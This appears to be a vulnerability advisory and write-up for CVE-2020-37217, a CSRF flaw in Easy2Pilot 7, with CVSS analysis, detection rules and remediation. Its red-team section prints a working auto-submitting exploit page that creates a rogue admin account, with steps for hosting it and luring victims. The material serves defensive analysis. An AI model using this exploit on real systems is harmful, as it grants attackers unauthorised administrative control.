CVE-2020-37217

Executive Summary

CVE-2020-37217 is a Cross-Site Request Forgery (CSRF) vulnerability in Easy2Pilot 7, a web-based flight planning and management application. The flaw allows an attacker to trick an authenticated administrator into unknowingly submitting a forged request that creates a new administrative user account. This is achieved by crafting a malicious HTML form that targets the admin.php?action=add_user endpoint with POST parameters for username and password. The vulnerability has a CVSS score of 4.3 (Medium) and a very low EPSS score (0.0%), indicating it is not currently being actively exploited in the wild. However, the lack of a vendor patch and the potential for privilege escalation make it a significant risk for organizations using this software.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary web application (Easy2Pilot 7). Therefore, supply chain security concerns are limited to the software’s distribution channels and the integrity of the vendor’s update mechanism. Organizations should verify the authenticity of any downloaded Easy2Pilot binaries and ensure they are obtained from official sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – The attack is launched over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim (an authenticated admin) must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is directly exposed.
• Integrity (I): Low – An attacker can create a new admin account, altering system state.
• Availability (A): None – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the ability to create an administrative account without consent can lead to full system compromise if the attacker subsequently logs in and performs further actions.

Deep Dive & Mechanics

The vulnerability resides in the admin.php script of Easy2Pilot 7. The add_user action does not implement any CSRF token validation. This means that any POST request to admin.php?action=add_user with valid username and password parameters will be processed, regardless of the origin of the request.

Attack Flow:

1. The attacker crafts an HTML page containing a form that auto-submits to the vulnerable endpoint.
2. The attacker lures an authenticated Easy2Pilot administrator to visit this page (e.g., via email, social engineering, or a compromised site).
3. The victim’s browser sends a POST request to admin.php?action=add_user with the attacker’s chosen credentials.
4. The server processes the request and creates a new administrative user account.
5. The attacker can then log in with the newly created credentials and gain full administrative access.

Root Cause: Lack of CSRF protection (e.g., anti-CSRF tokens, SameSite cookies, or origin/referer header validation) on the user creation endpoint.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (PHP-like pseudocode):

<?php
// admin.php
if ($_GET['action'] == 'add_user' && $_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    // No CSRF check
    $db->query("INSERT INTO users (username, password, role) VALUES ('$username', '$password', 'admin')");
    echo "User created successfully.";
}
?>

Patched Code (Conceptual):

<?php
session_start();
if ($_GET['action'] == 'add_user' && $_SERVER['REQUEST_METHOD'] == 'POST') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF validation failed.");
    }
    $username = $_POST['username'];
    $password = password_hash($_POST['password'], PASSWORD_BCRYPT);
    $stmt = $db->prepare("INSERT INTO users (username, password, role) VALUES (?, ?, 'admin')");
    $stmt->execute([$username, $password]);
    echo "User created successfully.";
}
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Easy2Pilot 7 installed on a local server (e.g., XAMPP, WAMP, or a Linux LAMP stack).
• A browser with an authenticated admin session (e.g., logged in as admin).
• Attacker machine with a simple HTTP server to host the malicious HTML.

Exploit HTML (save as exploit.html):

<!DOCTYPE html>
<html>
<head>
    <title>Click Me</title>
</head>
<body>
    <h1>Please click the button to continue.</h1>
    <form action="http://target/admin.php?action=add_user" method="POST">
        <input type="hidden" name="username" value="attacker">
        <input type="hidden" name="password" value="P@ssw0rd!">
        <input type="submit" value="Click Here">
    </form>
    <script>
        // Auto-submit for stealth
        document.forms[0].submit();
    </script>
</body>
</html>

Steps:

1. Host the HTML file on an attacker-controlled web server: python3 -m http.server 8080
2. Send the link to the victim (e.g., http://attacker:8080/exploit.html).
3. When the victim (authenticated admin) visits the page, the form auto-submits.
4. Verify the new user by logging in with attacker:P@ssw0rd!.

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for POST requests to admin.php?action=add_user from unusual referrers or without a valid CSRF token.
• Alert on multiple rapid user creation attempts.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Prevention:

• Implement CSRF tokens on all state-changing endpoints.
• Enforce SameSite cookies (e.g., SameSite=Strict or Lax).
• Validate the Origin and Referer headers on the server side.
• Restrict access to the admin panel via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

• Network:
  • POST request to /admin.php?action=add_user with parameters username and password.
  • Referer header pointing to an external or unexpected domain.
• System:
  • New user account in the Easy2Pilot database (e.g., users table) with role admin.
  • Unusual login activity from the newly created account.
• File:
  • Presence of exploit.html or similar files on the victim’s machine (if downloaded).

Detection Engineering

YARA Rule

rule CVE_2020_37217_CSRF_Exploit {
    meta:
        description = "Detects HTML files attempting CSRF against Easy2Pilot 7 admin.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37217"
    strings:
        $action = "admin.php?action=add_user" nocase
        $username = "username" nocase
        $password = "password" nocase
        $method = "POST" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2020-37217 - Easy2Pilot CSRF User Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin.php?action=add_user without CSRF token
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin.php?action=add_user'
    condition: selection
falsepositives:
    - Legitimate admin user creation (if CSRF is not implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-37217 - Easy2Pilot CSRF User Creation Attempt"; flow:to_server; content:"POST"; http_method; content:"admin.php?action=add_user"; http_uri; content:"username"; http_client_body; content:"password"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, restrict access to the admin panel to trusted IPs only (e.g., via firewall or .htaccess).
2. Implement CSRF protection: Add anti-CSRF tokens to all forms, especially the user creation form. Use a library or framework function if available.
3. Enforce SameSite cookies: Set the SameSite attribute to Strict or Lax on session cookies.
4. Validate headers: Check the Origin and Referer headers on the server side to ensure requests originate from the same site.

Long-Term Actions:

1. Contact the vendor: Since the patch status is unknown, pressure the vendor to release an official fix.
2. Upgrade: If a patched version becomes available, upgrade immediately.
3. Monitor: Continuously monitor logs for suspicious activity related to user creation.
4. User training: Educate administrators about the risks of clicking untrusted links while logged into the admin panel.

Workaround (if source code is accessible): Add the following PHP code at the beginning of admin.php:

session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_GET['action']) && $_GET['action'] === 'add_user') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        http_response_code(403);
        die('CSRF validation failed.');
    }
}

Then, include a hidden CSRF token in the user creation form:

<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

Valters IT